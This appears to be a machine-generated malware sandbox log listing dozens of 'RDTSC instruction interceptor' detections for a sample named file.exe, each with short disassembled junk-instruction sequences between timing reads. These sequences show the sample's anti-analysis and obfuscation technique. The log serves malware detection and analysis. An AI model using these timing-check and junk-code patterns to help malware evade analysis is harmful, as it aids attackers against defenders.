Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE840 second address: 9EE844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEB55 second address: 9EEB5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEB5B second address: 9EEB7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEB7A second address: 9EEB80 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EECE0 second address: 9EECE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EECE6 second address: 9EECEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEFC9 second address: 9EEFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA4407343D6h 0x0000000a jnc 00007FA4407343D6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F30D9 second address: 9F30DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F30DD second address: 9F30E7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5C9C second address: 9F5CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5FC2 second address: 9F5FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5FC6 second address: 9F5FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FA44129713Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDF9C second address: 9FDFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA4407343D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE29E second address: 9FE2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE2A4 second address: 9FE2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3590 second address: 9B359A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA441297126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B359A second address: 9B359E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B359E second address: 9B35FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FA441297128h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 and di, C7B9h 0x0000002a push 00000004h 0x0000002c mov edi, ecx 0x0000002e push eax 0x0000002f jmp 00007FA441297135h 0x00000034 pop edx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jnc 00007FA44129712Ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B35FD second address: 9B3602 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE541 second address: 9FE54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF003 second address: 9FF036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FA4407343E8h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0300E second address: A0301F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA44129712Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0301F second address: A03027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03027 second address: A0302B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02528 second address: A0253F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007FA4407343D6h 0x00000009 jmp 00007FA4407343DAh 0x0000000e pop esi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A027B1 second address: A027D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c je 00007FA441297126h 0x00000012 jmp 00007FA44129712Bh 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02940 second address: A02948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02C3A second address: A02C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D6BB second address: A0D6C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FA4407343D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D6C9 second address: A0D6F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FA44129713Fh 0x0000000f jmp 00007FA441297133h 0x00000014 jno 00007FA441297126h 0x0000001a push edx 0x0000001b ja 00007FA441297126h 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B605 second address: A0B60F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA4407343D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B60F second address: A0B61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B61E second address: A0B636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FA4407343D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA4407343DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B7B2 second address: A0B7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B7B8 second address: A0B7E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DEh 0x00000007 jmp 00007FA4407343E4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B7E7 second address: A0B7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B924 second address: A0B929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C4A0 second address: A0C4AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA441297126h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CAC6 second address: A0CACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CACA second address: A0CADE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FA441297126h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D050 second address: A0D05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA4407343D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D05F second address: A0D063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D38D second address: A0D39D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA4407343D6h 0x00000008 jbe 00007FA4407343D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A113AE second address: A113B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A113B2 second address: A113D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FA4407343EFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1151F second address: A11545 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA44129713Bh 0x00000008 pushad 0x00000009 jg 00007FA441297126h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11664 second address: A11672 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11DD7 second address: A11DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 popad 0x0000000a push edx 0x0000000b jbe 00007FA44129712Eh 0x00000011 pushad 0x00000012 popad 0x00000013 jnp 00007FA441297126h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11DF4 second address: A11E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA4407343E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11F46 second address: A11F6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA441297126h 0x00000008 je 00007FA441297126h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FA44129712Bh 0x00000015 popad 0x00000016 jo 00007FA44129714Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11F6C second address: A11F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FA4407343D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F5E1 second address: A1F5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F5E5 second address: A1F5FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FA4407343D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jne 00007FA4407343D6h 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F5FF second address: A1F603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DC49 second address: A1DC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DDE5 second address: A1DDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA441297126h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E060 second address: A1E079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jbe 00007FA4407343D6h 0x0000000c jmp 00007FA4407343DCh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E079 second address: A1E0A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297136h 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007FA44129712Eh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E384 second address: A1E388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F461 second address: A1F467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F467 second address: A1F46D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F46D second address: A1F471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F471 second address: A1F48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FA4407343DEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26FEC second address: A27019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA441297126h 0x0000000a jno 00007FA441297126h 0x00000010 popad 0x00000011 jl 00007FA44129713Ch 0x00000017 jmp 00007FA441297136h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27019 second address: A27050 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pushad 0x00000007 jnl 00007FA4407343D6h 0x0000000d js 00007FA4407343D6h 0x00000013 jnc 00007FA4407343D6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007FA4407343E0h 0x00000026 push eax 0x00000027 pop eax 0x00000028 popad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27050 second address: A27059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27059 second address: A27077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA4407343E9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32D93 second address: A32DC3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA441297126h 0x00000008 jne 00007FA441297126h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007FA441297134h 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 pop eax 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32DC3 second address: A32DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32DC7 second address: A32DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 jnl 00007FA441297126h 0x0000000f jmp 00007FA44129712Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A39985 second address: A39995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A39995 second address: A3999B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3999B second address: A399A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A399A2 second address: A399B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007FA441297126h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A399B1 second address: A399B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A39AFC second address: A39B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297131h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA441297132h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A39B23 second address: A39B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4622B second address: A46230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976381 second address: 976385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976385 second address: 976391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50527 second address: A50536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FA4407343DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50536 second address: A5053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5053A second address: A50540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50540 second address: A50561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297138h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5082F second address: A50844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50844 second address: A5084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54F83 second address: A54F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62B26 second address: A62B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64D1A second address: A64D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64D20 second address: A64D26 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64D26 second address: A64D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FA4407343E1h 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jmp 00007FA4407343DBh 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74AE5 second address: A74B0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297139h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007FA441297126h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74B0E second address: A74B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FA4407343D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74B1A second address: A74B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A569 second address: A8A571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A571 second address: A8A57B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA441297126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A84E second address: A8A86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FA4407343E8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AB1F second address: A8AB23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B111 second address: A8B12D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FA4407343D6h 0x00000009 jmp 00007FA4407343DBh 0x0000000e jns 00007FA4407343D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
